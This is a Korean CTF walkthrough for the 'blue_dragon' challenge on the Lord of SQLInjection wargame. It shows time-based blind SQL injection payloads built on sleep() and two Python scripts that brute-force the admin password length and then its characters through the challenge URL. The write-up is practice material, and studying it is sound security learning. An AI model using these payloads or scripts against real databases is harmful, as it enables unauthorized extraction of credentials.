Lord of SQLInjection (blue_dragon)
풀이
이번 문제에서는 id와 pw 파라미터에 각각 prob _ .
문자에 대해서 필터링하고 있고, 쿼리를 한 번 실행한 후에 파라미터를 다시 검사해서 싱글쿼터랑 역슬래쉬가 있으면 No Hack을 출력한다. 또한 admin 계정의 pw 값을 알아내야 solve인 것이다.
아래처럼 싱글쿼터랑 역슬래쉬 중 하나만 들어가면 쿼리는 출력되지만 result 결과가 출력되지 않고, No Hack이 출력된다.
싱글쿼터랑 역슬래쉬를 필터링 해서 No Hack이 출력된다고 해도, sleep을 이용해서 time based sqli를 아래 쿼리를 id 파라미터에 넣어보면 가능하다는 것을 알 수 있다. if 함수에 대해서 두 번째 인자가 참일 때이고, 세 번째 인자가 거짓일 때이니가 이것만 수정해서 코드를 짜면 되겠다.
' or if(id='admin' and length(pw)=1, sleep(5), sleep(5))-- -
' or if(id='admin' and length(pw)=1, sleep(5), 0)-- -
아래처럼 파이썬 코드를 짜보면 패스워드 길이가 8인 것을 알 수 있다.
import requests
import time
url = 'https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php'
cookie = {
"PHPSESSID": "d5fo2u0cj07ikqrk2qftquavbd"
}
for i in range(1, 100):
param = {
"id": f"' or if(id='admin' and length(pw)={i}, sleep(5), 0)-- -"
}
start_time = time.time()
print(start_time)
r = requests.get(url=url, cookies=cookie, params=param)
end_time = time.time()
delay = end_time - start_time
print(f"delay: {delay}")
if delay > 3:
print(f"found! 패스워드 길이는 {i}입니다.")
break
그럼 이제 ascii(substr)을 사용해서 pw 첫 글자를 하나씩 time based sqli를 수행하는 코드를 짜주면 되겠다.
import requests
import time
1
url = 'https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php'
cookie = {
"PHPSESSID": "d5fo2u0cj07ikqrk2qftquavbd"
}
password = ''
for i in range(1, 9):
for j in range(32, 127):
param = {
"id": f"' or if(id='admin' and ascii(substr(pw,{i},1))={j}, sleep(5), 0)-- -"
}
start_time = time.time()
#print(start_time)
r = requests.get(url=url, cookies=cookie, params=param)
end_time = time.time()
delay = end_time - start_time
#print(f"delay: {delay}")
if delay > 3:
print(f"found! 패스워드 {i}번째 문자는 {chr(j)}입니다.")
password += chr(j)
break
print(password)
댓글남기기